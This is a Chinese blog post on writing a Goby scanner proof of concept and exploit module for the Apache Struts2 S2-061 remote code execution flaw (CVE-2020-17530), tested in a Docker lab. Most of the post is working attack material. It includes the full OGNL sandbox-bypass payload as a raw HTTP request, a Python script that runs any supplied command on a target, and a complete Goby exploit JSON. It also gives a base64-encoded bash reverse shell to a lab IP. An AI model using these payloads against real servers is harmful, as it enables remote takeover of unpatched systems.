记一次goby-poc的编写
🚩前言
最近看订阅号刷到好几个公众号都在转发goby官方的推文,本来我都没怎么注意的,因为说起goby,我感觉他在外网还是有点鸡肋,内网刷刷弱口令倒是还可以。可能我之前用的社区版poc少趴。最主要一个原因还是今天打开goby一看之前弄的红队破解版寄了😭,再一个想来都没试过这样的写poc就有了这次尝试。这个漏洞比较老了,就不去多研究他的逻辑成因了,主要还是侧重在利用上。
🌊漏洞简介
Apache Struts2
框架是一个用于开发Java EE网络应用程序的Web框架。Apache Struts
于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞(CVE-2020-17530),在使用某些tag等情况下可能存在OGNL表达式注入漏洞,从而造成远程代码执行,风险极大。
🏳️🌈影响版本
- Apache Struts 2.0.0 – 2.5.25
🌨️环境搭建
启动容器
docker-compose up -d
访问http://192.168.130.19:8080,标题还是s2-059,因为这个61对59的修复就是加强OGNL表达式沙盒,而S2-061绕过了该沙盒。
🚀漏洞复现
用此环境下的poc来验证。
POST /index.action HTTP/1.1
Host: 192.168.130.19:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 829
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
拦截改包发包,可以看到在标签处的命令执行回显。
☃️编写python-poc
python编写如下,构造一个request的get请求,拼接payload和URL,最后利用简单的正则筛选出最后执行的结果。
#!/usr/bin/python3
import requests, sys, re
if len(sys.argv) < 3:
print("[+]Use: python3 s2-061.py http://ip:port command")
print("[+]============================================================")
sys.exit()
def bk():
payload = "%25%7b(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application%5b%27org.apache.tomcat.InstanceManager%27%5d).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr%5b%27struts.valueStack%27%5d).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d%7b%27"+sys.argv[2]+"%27%7d).(%23res%3d%23exec.exec(%23cmd))%7d"
url = sys.argv[1]+"/index.action?id=" + payload
r = requests.get(url).text
z = re.findall("a id=.*", r)
print(str(z).replace("a id=\"", ""))
if __name__ == '__main__':
bk()
执行也能正常回显。
🗺️Goby-poc&exp编写
goby
中支持自定义的poc
,现在看官方文档,goby还开放了golang来补充json格式部分扩展性能不足。继续说回来,漏洞的基础信息就不多说,第一次写就随便填了。值得注意的一个就是查询规则那里,一定要能够精确定位到资产,否则会一直报让你填写完整基础信息。再一个就是那个has exp那里,勾选了的话就会有一个栏专门写exp
的,他底下EXP Params
的第一个就是后面的变量名。这里从扫描测试中开始说。
这里用GET方法传入一下字符串简单测试看漏洞是否存在,若有则会返回字符串BK和660+6的结果666。因此底下测试项那里就是看在http报文为200
的同时,看主体里面是否包含BK666
这个标志。
/?id=%25%7b+%27BK%27+%2b+(660+%2b+6).toString()%7d
再接着就是利用测试,也就是exp的编写。这里测试使用POST方法,数据在下面,也就是上面环境中poc自带的。值得注意的是在(%23arglist.add(“{{{command}}}
“))中,原先的id被替换成了{{{command}}},在这里的command的就是前面设置的变量。底下的id="([^<]+)"\s
则是问的一个群里的师傅给的正则表达式,目前粗略的理解就是:
就是在[]中^为除去,就是在没有匹配到>与<闭合之前。因为我这个id=是在一个标签里面的。+多次匹配这样的子表达式,然后()是捕获并保存这个分组给后面用。“”是部分引用,将括起来里面有变量的就将其执行输出,最后\s再匹配上所有空格换行符等空白字符来控制格式输出来美观一些
/index.action?id=%25{(%23instancemanager%3d%23application["org.apache.tomcat.InstanceManager"]).(%23stack%3d%23attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(%23bean%3d%23instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(%23bean.setBean(%23stack)).(%23context%3d%23bean.get("context")).(%23bean.setBean(%23context)).(%23macc%3d%23bean.get("memberAccess")).(%23bean.setBean(%23macc)).(%23emptyset%3d%23instancemanager.newInstance("java.util.HashSet")).(%23bean.put("excludedClasses",%23emptyset)).(%23bean.put("excludedPackageNames",%23emptyset)).(%23arglist%3d%23instancemanager.newInstance("java.util.ArrayList")).(%23arglist.add("{{{command}}}")).(%23execute%3d%23instancemanager.newInstance("freemarker.template.utility.Execute")).(%23execute.exec(%23arglist))}
到处搜不到,只查到了一些参数说明:
^
匹配输入字符串的开始位置,在一组方括号里使用^
时,它表示”非”或”排除”的意思,常常用来剔除某个字符<
没找到+
匹配前面的子表达式一次或多次[]
中括号表达式()
表示捕获分组,标记一个子表达式的开始和结束位置.子表达式可以获取供以后使用""
是部分引用,括起来的内容中如果有变量会先把变量、命令解析出结果,然后在输出最终内容来\s
匹配任何空白字符,包括空格、制表符、换页符等等
简单的命令都能执行,且返回正常数据。
但是像那种无回显的命令不知道该怎么写这个测试项,这里dnslog可以外带出来,goby这边的反应就是在测试那里转圈圈,过一会会就报错。而且这里有个点还不太清楚,就是他一次是发两个包。下次抓一下包看看。
再接着就是试试看反弹shell,先去在线网站编码转换一下[命令执行在线编码 | 国光 (sqlsec.com)](https://www.sqlsec.com/rce/)。
bash+-c+{echo,YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xOTIuMTY4LjEzMC4xOS85OTk5IDA%2bJjEgICAgIA%3d%3d}|{base64,-d}|{bash,-i}
但这上面的结果还是经过加工的,我这里试了很多次变化才发现goby这里面的长命令还得进行URL编码,目前goby里面也是像上面的一样。虽然是拿到shell了但goby里面的回显还是有优化的空间的。
最后的文件存储在goby的目录Goby\goby-win-x64-2.1.2\golib\exploits\user
下面,最开始编辑完是go文件,也可以从goby里面导出为json文件。
补充了前面的基本信息,最终go文件如下:
package exploits
import (
"git.gobies.org/goby/goscanner/goutils"
)
func init() {
expJson := `{
"Name": "Struts2 S2-061 RCE BK",
"Description": "<p><span style=\"color: rgb(77, 77, 77); font-size: 16px;\">S2-061是对S2-059的绕过,Struts2官方对S2-059的修复方式是加强OGNL</span><a href=\"https://so.csdn.net/so/search?q=%E8%A1%A8%E8%BE%BE%E5%BC%8F&spm=1001.2101.3001.7020\" target=\"_blank\">表达式</a><span style=\"color: rgb(77, 77, 77); font-size: 16px;\">沙盒,而S2-061绕过了该沙盒。</span><br></p>",
"Product": "Apache Struts 2.0.0 - 2.5.25",
"Homepage": "",
"DisclosureDate": "2020-12-08",
"Author": "1136392270@qq.com",
"FofaQuery": "title=\"struts2\"",
"GobyQuery": "title=\"struts2\"",
"Level": "3",
"Impact": "<p><span style=\"color: rgba(255, 255, 255, 0.87); font-size: 16px;\">Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架。Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞(CVE-2020-17530),在使用某些tag等情况下可能存在OGNL表达式注入漏洞,从而造成远程代码执行,风险极大。</span><br></p>",
"Recommendation": "<p>升级至最新版</p>",
"References": [
"http://jvn.jp/en/jp/JVN43969166/index.html",
"https://cwiki.apache.org/confluence/display/WW/S2-061",
"https://nvd.nist.gov/vuln/detail/CVE-2020-17530",
"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-17530"
],
"Is0day": false,
"HasExp": true,
"ExpParams": [
{
"Name": "Command",
"Type": "input",
"Value": "whoami",
"name": "command",
"type": "input",
"value": "whoami"
}
],
"ExpTips": {
"Type": "",
"Content": ""
},
"ScanSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "/?id=%25%7b+%27BK%27+%2b+(660+%2b+6).toString()%7d",
"follow_redirect": true,
"header": {
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF"
},
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "BK666",
"bz": ""
}
]
},
"SetVariable": [
"command|lastbody|regex|"
]
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "POST",
"uri": "/index.action?id=%25{(%23instancemanager%3d%23application[\"org.apache.tomcat.InstanceManager\"]).(%23stack%3d%23attr[\"com.opensymphony.xwork2.util.ValueStack.ValueStack\"]).(%23bean%3d%23instancemanager.newInstance(\"org.apache.commons.collections.BeanMap\")).(%23bean.setBean(%23stack)).(%23context%3d%23bean.get(\"context\")).(%23bean.setBean(%23context)).(%23macc%3d%23bean.get(\"memberAccess\")).(%23bean.setBean(%23macc)).(%23emptyset%3d%23instancemanager.newInstance(\"java.util.HashSet\")).(%23bean.put(\"excludedClasses\",%23emptyset)).(%23bean.put(\"excludedPackageNames\",%23emptyset)).(%23arglist%3d%23instancemanager.newInstance(\"java.util.ArrayList\")).(%23arglist.add(\"{{{command}}}\")).(%23execute%3d%23instancemanager.newInstance(\"freemarker.template.utility.Execute\")).(%23execute.exec(%23arglist))}",
"follow_redirect": true,
"header": {
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF"
},
"data_type": "text",
"data": ""
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "root",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "uid",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|id=\"([^<]+)\"\\s"
]
}
],
"Tags": [
"命令执行"
],
"VulType": [
"命令执行"
],
"CVEIDs": [
""
],
"CNNVD": [
""
],
"CNVD": [
""
],
"CVSSScore": "",
"Translation": {
"CN": {
"Name": "Struts2 S2-061 RCE BK",
"Product": "Apache Struts 2.0.0 - 2.5.25",
"Description": "<p><span style=\"color: rgb(77, 77, 77); font-size: 16px;\">S2-061是对S2-059的绕过,Struts2官方对S2-059的修复方式是加强OGNL</span><a href=\"https://so.csdn.net/so/search?q=%E8%A1%A8%E8%BE%BE%E5%BC%8F&spm=1001.2101.3001.7020\" target=\"_blank\">表达式</a><span style=\"color: rgb(77, 77, 77); font-size: 16px;\">沙盒,而S2-061绕过了该沙盒。</span><br></p>",
"Recommendation": "<p>升级至最新版</p>",
"Impact": "<p><span style=\"color: rgba(255, 255, 255, 0.87); font-size: 16px;\">Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架。Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞(CVE-2020-17530),在使用某些tag等情况下可能存在OGNL表达式注入漏洞,从而造成远程代码执行,风险极大。</span><br></p>",
"VulType": [
"命令执行"
],
"Tags": [
"命令执行"
]
},
"EN": {
"Name": "test",
"Product": "apache2.x/2.1",
"Description": "",
"Recommendation": "",
"Impact": "",
"VulType": [
"Command Execution"
],
"Tags": [
"Command Execution"
]
}
},
"AttackSurfaces": {
"Application": null,
"Support": null,
"Service": null,
"System": null,
"Hardware": null
}
}`
ExpManager.AddExploit(NewExploit(
goutils.GetFileName(),
expJson,
nil,
nil,
))
}
🌗总结
总的来说编写还是很方便,第一次踩坑比较多也没办法。谁叫他官方的把这个编写这块的文档给撤了😅。现在GitHub上面就只有插件和主题的编写有很详细的文档说明。今天了解到红队版和企业版的poc高达一千多,这么下去goby会越来越强的,还是可以慢慢地打造自己的武器库滴。本人技术很菜还有很多要学,此次是为了尝试和熟悉一下goby中poc的编写,各位表哥勿喷哈😝
原文地址:http://www.cnblogs.com/bktown/p/16904202.html